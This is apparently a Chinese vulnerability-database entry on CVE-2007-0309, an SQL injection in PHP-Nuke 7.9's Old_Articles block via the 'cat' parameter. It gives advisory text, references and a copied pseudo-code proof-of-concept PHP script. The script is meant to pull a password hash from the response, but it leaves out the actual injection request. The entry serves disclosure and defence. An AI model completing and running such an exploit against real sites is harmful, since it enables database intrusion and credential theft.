PHP-Nuke 'Block-Old_Articles.PHP' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112021 漏洞类型 SQL注入
发布时间 2007-01-13 更新时间 2007-01-18
CVE编号 CVE-2007-0309 CNNVD-ID CNNVD-200701-250
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/29453
https://cxsecurity.com/issue/WLB-2007010068
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-250
|漏洞详情
FranciscoBurziPHP-Nuke7.9及之前版本的blocks/block-Old_Articles.php中存在SQL注入漏洞。当register_globals被激活而magic_quotes_gpc被禁用时,远程攻击者可以借助cat参数,执行任意的SQL指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/22037/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable; other versions may also be affected. 

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
PHP-Nuke <= 7.9 Old-Articles Block "cat" SQL Injection vulnerability

http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);

if ($fp) {
    /* we put the GET request on $p variable, with "cid" with the 
malicious code and "categories" set to 1. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?>
|参考资料

来源:BID
名称:22037
链接:http://www.securityfocus.com/bid/22037
来源:BUGTRAQ
名称:20070113PHP-Nuke<=7.9Old-ArticlesBlock"cat"SQLInjectionvulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/456787/100/0/threaded
来源:MISC
链接:http://www.neosecurityteam.net/advisories/PHP-Nuke--7.9-Old-Articles-Block-cat-SQL-Injection-vulnerability-31.html
来源:SECTRACK
名称:1017511
链接:http://securitytracker.com/id?1017511
来源:OSVDB
名称:32863
链接:http://osvdb.org/32863
来源:XF
名称:phpnuke-blockoldarticles-sql-injection(31482)
链接:http://xforce.iss.net/xforce/xfdb/31482
来源:SREASON
名称:2153
链接:http://securityreason.com/securityalert/2153
来源:SECUNIA
名称:23748
链接:http://secunia.com/advisories/23748